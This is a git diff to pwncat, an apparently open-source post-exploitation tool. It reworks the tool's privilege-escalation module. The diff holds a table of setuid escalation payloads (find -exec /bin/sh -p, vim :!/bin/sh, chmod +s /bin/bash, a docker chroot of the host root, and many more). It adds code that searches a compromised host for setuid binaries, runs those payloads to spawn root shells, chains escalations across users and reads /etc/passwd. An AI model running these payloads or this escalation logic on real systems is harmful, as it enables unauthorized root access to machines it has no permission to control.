diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 1e0bc9b..ebd947d 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -23,7 +23,7 @@ class Finder: for m in [SetuidMethod, SuMethod]: try: m.check(self.pty) - self.methods.append(m()) + self.methods.append(m(self.pty)) except PrivescError: pass @@ -40,7 +40,7 @@ class Finder: current_user = self.pty.current_user if ( target_user == current_user["name"] - or current_user["id"] == 0 + or current_user["uid"] == 0 or current_user["name"] == "root" ): raise PrivescError(f"you are already {current_user['name']}") @@ -48,7 +48,7 @@ class Finder: if starting_user is None: starting_user = current_user - if len(chain) > depth: + if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Enumerate escalation options for this user @@ -60,8 +60,8 @@ class Finder: for tech in techniques: if tech.user == target_user: try: - tech.method.execute(tech) - chain.append(tech) + exit_command = tech.method.execute(tech) + chain.append((tech, exit_command)) return chain except PrivescError: pass @@ -72,14 +72,15 @@ class Finder: if tech.user == target_user: continue try: - tech.method.execute(tech) - chain.append(tech) + exit_command = tech.method.execute(tech) + chain.append((tech, exit_command)) except PrivescError: continue try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: - self.pty.run("exit", wait=False) + tech, exit_command = chain[-1] + self.pty.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found") diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 08364ad..2ee84a8 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique # https://gtfobins.github.io/#+suid known_setuid_privescs = { - "env": ["{} /bin/bash -p"], - "bash": ["{} -p"], - "chmod": ["{} +s /bin/bash", "/bin/bash -p"], - "chroot": ["{} / /bin/bash -p"], - "dash": ["{} -p"], - "ash": ["{}"], - "docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"], - "emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""], - "find": ["{} . -exec /bin/sh -p \\; -quit"], - "flock": ["{} -u / /bin/sh -p"], - "gdb": [ - """{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""" - ], - "logsave": ["{} /dev/null /bin/bash -i -p"], - "make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",], - "nice": ["{} /bin/bash -p"], - "node": [ - """{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'""" - ], - "nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""], - "perl": ["""{} -e 'exec "/bin/sh";'"""], - "php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""], - "python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""], - "rlwrap": ["{} -H /dev/null /bin/sh -p"], - "rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""], - "rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""], - "rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""], - "run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""], - "rvim": [ - """{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""" - ], - "setarch": ["""{} $(arch) /bin/sh -p"""], - "start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""], - "strace": ["""{} -o /dev/null /bin/sh -p"""], - "tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""], - "tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",], - "taskset": ["""{} 1 /bin/sh -p"""], - "time": ["""{} /bin/sh -p"""], - "timeout": ["""{} 7d /bin/sh -p"""], - "unshare": ["""{} -r /bin/sh"""], - "vim": ["""{} -c ':!/bin/sh' -c ':q'"""], - "watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""], - "zsh": ["""{}"""], + "env": ("{} /bin/bash -p", "exit"), + "bash": ("{} -p", "exit"), + "chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"), + "chroot": ("{} / /bin/bash -p", "exit"), + "dash": ("{} -p", "exit"), + "ash": ("{}", "exit"), + "docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"), + "emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"), + "find": ("{} . -exec /bin/sh -p \\; -quit", "exit"), + "flock": ("{} -u / /bin/sh -p", "exit"), + "gdb": ( + """{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""", + "exit", + ), + "logsave": ("{} /dev/null /bin/bash -i -p", "exit"), + "make": ( + "COMMAND='/bin/sh -p'", + """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""", + "exit", + ), + "nice": ("{} /bin/bash -p", "exit"), + "node": ( + """{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""", + "exit", + ), + "nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"), + "perl": ("""{} -e 'exec "/bin/sh";'""", "exit"), + "php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"), + "python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"), + "rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"), + "rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"), + "rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"), + "rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"), + "run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"), + "rvim": ( + """{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""", + "exit", + ), + "setarch": ("""{} $(arch) /bin/sh -p""", "exit"), + "start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"), + "strace": ("""{} -o /dev/null /bin/sh -p""", "exit"), + "tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"), + "tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"), + "taskset": ("""{} 1 /bin/sh -p""", "exit"), + "time": ("""{} /bin/sh -p""", "exit"), + "timeout": ("""{} 7d /bin/sh -p""", "exit"), + "unshare": ("""{} -r /bin/sh""", "exit"), + "vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"), + "watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"), + "zsh": ("""{}""", "exit"), # need to add in cp trick to overwrite /etc/passwd # need to add in curl trick to overwrite /etc/passwd # need to add in wget trick to overwrite /etc/passwd @@ -73,62 +80,82 @@ known_setuid_privescs = { class SetuidMethod(Method): name = "setuid" - BINARIES = ["find"] + BINARIES = ["find", "stat"] + + def __init__(self, pty: "pwncat.pty.PtyHandler"): + super(SetuidMethod, self).__init__(pty) + + self.suid_paths = None + + def find_suid(self): + + # Spawn a find command to locate the setuid binaries + delim = self.pty.process("find / -perm -4000 -print 2>/dev/null") + files = [] + self.suid_paths = {} + + while True: + path = self.pty.recvuntil(b"\n").strip() + progress("searching for setuid binaries") + + if delim in path: + break + + files.append(path.decode("utf-8")) + + for path in files: + user = ( + self.pty.run(f"stat -c '%U' {shlex.quote(path)}") + .strip() + .decode("utf-8") + ) + if user not in self.suid_paths: + self.suid_paths[user] = [] + self.suid_paths[user].append(path) def enumerate(self) -> List[Technique]: """ Find all techniques known at this time """ - def execute(self): - """ Look for setuid binaries and attempt to run""" + if self.suid_paths is None: + self.find_suid() - find = self.pty.which("find") + for user, paths in self.suid_paths.items(): + for path in paths: + for name, cmd in known_setuid_privescs.items(): + if os.path.basename(path) == name: + yield Technique(user, self, (path, name, cmd)) - setuid_output = [] - delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null") + def execute(self, technique: Technique): + """ Run the specified technique """ - while True: - line = self.pty.recvuntil(b"\n").strip() - progress("searching for setuid binaries") + path, name, commands = technique.ident - if delim in line: - break - setuid_output.append(line) + info( + f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}", + ) - for suid in setuid_output: - suid = suid.decode("utf-8") - for privesc, commands in known_setuid_privescs.items(): - if os.path.basename(suid) != privesc: - continue + before_shell_level = self.pty.run("echo $SHLVL").strip() + before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 - info( - f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}", - ) + # for each_command in commands: + # self.pty.run(each_command.format(path), wait=False) - before_shell_level = self.pty.run("echo $SHLVL").strip() - before_shell_level = ( - int(before_shell_level) if before_shell_level != b"" else 0 - ) + # Run the start commands + self.pty.run(commands[0].format(path) + "\n") - for each_command in commands: - self.pty.run(each_command.format(suid), wait=False) + # sleep(0.1) + user = self.pty.run("whoami").strip().decode("utf-8") + if user == technique.user: + success("privesc succeeded") + return commands[1] + else: + error(f"privesc failed (still {user} looking for {technique.user})") + after_shell_level = self.pty.run("echo $SHLVL").strip() + after_shell_level = ( + int(after_shell_level) if after_shell_level != b"" else 0 + ) + if after_shell_level > before_shell_level: + info("exiting spawned inner shell") + self.pty.run(commands[1], wait=False) # here be dragons - sleep(0.1) - user = self.pty.run("whoami").strip() - if user == b"root": - success("privesc succeeded") - return True - else: - error("privesc failed") - after_shell_level = self.pty.run("echo $SHLVL").strip() - after_shell_level = ( - int(after_shell_level) if after_shell_level != b"" else 0 - ) - if after_shell_level > before_shell_level: - info("exiting spawned inner shell") - self.pty.run("exit", wait=False) # here be dragons - - continue - - error("no known setuid privescs found") - - return False + raise PrivescError(f"escalation failed for {technique}") diff --git a/pwncat/pty.py b/pwncat/pty.py index efa58c3..ccdf3c7 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -210,7 +210,7 @@ class PtyHandler: # We should always get a response within 3 seconds... self.client.settimeout(1) - util.info("probing for prompt...", overlay=False) + util.info("probing for prompt...", overlay=True) start = time.time() prompt = b"" try: @@ -222,13 +222,13 @@ class PtyHandler: # We assume if we got data before sending data, there is a prompt if prompt != b"": self.has_prompt = True - util.info(f"found a prompt", overlay=False) + util.info(f"found a prompt", overlay=True) else: self.has_prompt = False - util.info("no prompt observed", overlay=False) + util.info("no prompt observed", overlay=True) # Send commands without a new line, and see if the characters are echoed - util.info("checking for echoing", overlay=False) + util.info("checking for echoing", overlay=True) test_cmd = b"echo" self.client.send(test_cmd) response = b"" @@ -241,10 +241,10 @@ class PtyHandler: if response == test_cmd: self.has_echo = True - util.info("found input echo", overlay=False) + util.info("found input echo", overlay=True) else: self.has_echo = False - util.info(f"no echo observed", overlay=False) + util.info(f"no echo observed", overlay=True) self.client.send(b"\n") response = self.client.recv(1) @@ -324,6 +324,8 @@ class PtyHandler: util.info("synchronizing terminal state", overlay=True) self.do_sync([]) + self.privesc = privesc.Finder(self) + # Force the local TTY to enter raw mode self.enter_raw() @@ -495,11 +497,18 @@ class PtyHandler: parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( - "--method", - "-m", - choices=privesc.get_names(), + "--user", + "-u", + choices=[user for user in self.users], + default="root", + help="the target user", + ) + parser.add_argument( + "--depth", + "-d", + type=int, default=None, - help="set the privesc method (default: auto)", + help="Maximum depth for the privesc search (default: no maximum)", ) try: @@ -509,17 +518,9 @@ class PtyHandler: return try: - # Locate an appropriate privesc class - PrivescClass = privesc.find(self, args.method) + self.privesc.escalate(args.user, args.depth) except privesc.PrivescError as exc: - util.error(f"{exc}") - return - - privesc_object = PrivescClass(self) - succeeded = privesc_object.execute() - - if succeeded: - self.do_back([]) + util.error(f"escalation failed: {exc}") @with_parser def do_download(self, args): @@ -864,9 +865,12 @@ class PtyHandler: self.known_users = {} - passwd = self.run("cat /etc/passwd") + passwd = self.run("cat /etc/passwd").decode("utf-8") for line in passwd.split("\n"): - line = line.split(":") + line = line.strip() + if line == "": + continue + line = line.strip().split(":") user_data = { "name": line[0], "password": None,